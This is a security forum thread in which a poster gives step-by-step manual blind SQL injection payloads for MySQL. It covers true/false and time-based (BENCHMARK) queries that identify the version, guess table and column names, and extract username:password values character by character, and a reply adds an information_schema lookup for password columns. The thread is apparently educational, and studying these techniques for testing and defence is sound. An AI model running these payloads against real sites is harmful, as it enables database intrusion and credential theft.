Results 1 to 3 of 3

Thread: MySQL: Blind Injection steps - Manually Share/Save - My123World.Com!

  1. #1
    Web Security Consultant amolnaik4's Avatar
    Join Date
    Jul 2011
    Location
    webr00t
    Posts
    277
    Blog Entries
    4

    MySQL: Blind Injection steps - Manually

    While preparing for an upcoming presentation, I came across Blind SQL Injection. Following steps I found helpful and you might find it useful.

    There are 2 types of Blind SQL Injections:
    1. Normal Blind => Where you get TRUE/FALSE responses based on output of SQL query. This is visible change in page.
    2. Totally Blind => No change in output for TRUE/FALSE condition.

    1. Normal Blind:
    Vulnerable URL:

    hxxp://site/page.php?id=1

    TRUE Response:
    hxxp://site/page.php?id=1 AND 1=1

    FALSE Response:
    hxxp://site/page.php?id=1 AND 1=2

    Check Version:
    hxxp://site/page.php?id=1 AND substring(version(),1,1)=4 <-- FALSE Response
    hxxp://site/page.php?id=1 AND substring(version(),1,1)=5 <-- TRUE Response

    Database version is MySQL 5.x.x.

    Table & Columns:
    We need to guess table & column names. For this, subselect should be supported.

    Check subselect:
    hxxp://site/page.php?id=1 AND (select 1)=1 <-- This should be TRUE Response -- subselect supported

    Guessing Table name:
    hxxp://site/page.php?id=1 AND (select 1 from admin limit 0,1)=1 <-- FALSE
    hxxp://site/page.php?id=1 AND (select 1 from users limit 0,1)=1 <-- TRUE

    Table found 'users'.

    Here we trying to get 1st row as 1, so when table exists, the query returns 1 and conditions is TRUE. When the table is not there, it's FALSE as there will be error in query execution which is not visible to us.

    Guessing Columns:
    hxxp://site/page.php?id=1 AND (select substring(concat(1,pass),1,1) from users limit 0,1)=1 <-- FALSE
    hxxp://site/page.php?id=1 AND (select substring(concat(1,password),1,1) from users limit 0,1)=1 <-- TRUE

    Column 'password' found.

    Here we concating 1 with value from supplied column name & then check 1st char with substring(). If column exists, it'll return 1+(password value of 1st row) and substring will pull out 1st char which is '1' and comparing with 1 which will be TRUE. If column does not exists, it's return nothing, which FALSE the condition.

    Data Mining:

    We found table name as 'users' & columns as 'password' and 'username'.

    hxxp://site/page.php?id=1 AND ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80 --> TRUE
    hxxp://site/page.php?id=1 AND ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>90 --> TRUE
    hxxp://site/page.php?id=1 AND ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>100 --> FALSE
    hxxp://site/page.php?id=1 AND ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>96 --> TRUE
    hxxp://site/page.php?id=1 AND ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>97 --> FALSE

    This means 1st character is CHAR(97)='a'.

    Here we are 1st concating username with password values for 1st row (Limit) which will be in formation like 'username:password' and then coverting 1st character of it in ascii and checking with numeric value. If response is TRUE, increase and check till get the first FALSE.

    Now to know 2nd character, just increase the char in substring() and repeat the process.
    hxxp://site/page.php?id=1 AND ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>80 --> TRUE
    hxxp://site/page.php?id=1 AND ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>90 --> TRUE
    hxxp://site/page.php?id=1 AND ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>100 --> FALSE
    hxxp://site/page.php?id=1 AND ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99 --> TRUE
    hxxp://site/page.php?id=1 AND ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>100 --> FALSE

    Second character is CHAR(100) = 'd'

    The end of string will be TRUE for >0 condition. So you will come to know that you reached the end.

    2. Totally Blind:
    As this type didn't have any TRUE/FALSE responses, we need to use time-based injection. Use IF() for condition and BENCHMARK() for time delay. These 2 can be used with UNION SELECT, but again finding correct number of columns is pain as there is no direct method i know.

    Detecting Version:
    hxxp://site/page.php?id=1 UNION SELECT IF(SUBSTRING(version(),1,1)=5,BENCHMARK(5000000,MD 5(CHAR(1))),null),null ---> delay of 5 secs (TRUE)
    hxxp://site/page.php?id=1 UNION SELECT IF(SUBSTRING(version(),1,1)=4,BENCHMARK(5000000,MD 5(CHAR(1))),null),null ---> no delay (FALSE)
    When the condition in IF() is TRUE, you can see a delay of few seconds in response as compared to the one when condition results in FALSE.

    Table and column guessing:
    As described in 'Normal Blind', the same process can be followed here to guess the table and column names.

    Table name guessing:
    hxxp://site/page.php?id=1 UNION SELECT IF(SUBSTRING((select 1 from users limit 0,1),1,1)=1,BENCHMARK(5000000,MD5(CHAR(1))),null), null

    Delay if table 'users' exists or no delay if not exists.

    Column name Guessing:
    hxxp://site/page.php?id=1 UNION SELECT IF(SUBSTRING((select substring(concat(1,pass),1,1) from users limit 0,1),1,1)=1,BENCHMARK(5000000,MD5(CHAR(1))),null), null

    Delay if column 'pass' exists or no delay if not exists.

    Getting Data:
    hxxp://site/page.php?id=1 UNION SELECT IF(SUBSTRING(user,1,1)=CHAR(97),BENCHMARK(5000000, MD5(CHAR(1))),null),null FROM users limit 0,1

    Delay if first character of 1st row of 'user' column in 'users' table is 'a' or no delay if it's not.

    This way we can mine data. As you seen, this is time consuming. Tools like SQLMap are really good at this type of operations. But it always good to know the basics before firing any tool. You can use DVWA Blind SQL Injection in 'Medium' security to test these attacks.

    Hope this helps someone , someday, somewhere.

    AMol NAik

  2. #2
    Good. However, since the MySQL version is 5.x.x, you can take the help of information_schema to enumerate rather than guessing table names.

    It need not always be users. To help you in this case,

    Code:
    hxxp://site.com/page.php?id=1 and ascii(substring((select group_concat(table_name) from information_schema.columns where column_name like 0x257061737325),1,1))>0
    Enumerates all the table names with a column containing the string, "pass". Now, this should work even if the column name is, pass/passwd/password and so on.

  3. #3

    Red face Nice article

    Hi Amol and codeinjector

    its a wonderful tutorial. Thanks for giving valuable information.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •